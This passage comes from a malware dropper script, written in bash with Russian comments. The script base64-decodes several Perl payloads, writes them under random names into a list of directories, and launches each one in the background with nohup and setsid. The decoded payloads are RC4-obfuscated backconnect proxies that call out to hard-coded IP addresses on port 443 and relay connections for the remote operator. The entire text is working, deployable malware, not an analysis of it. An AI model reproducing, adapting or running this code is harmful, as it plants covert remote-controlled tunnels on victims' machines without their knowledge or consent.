bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #6 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #6 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 7 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #7 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #7 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 8 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw 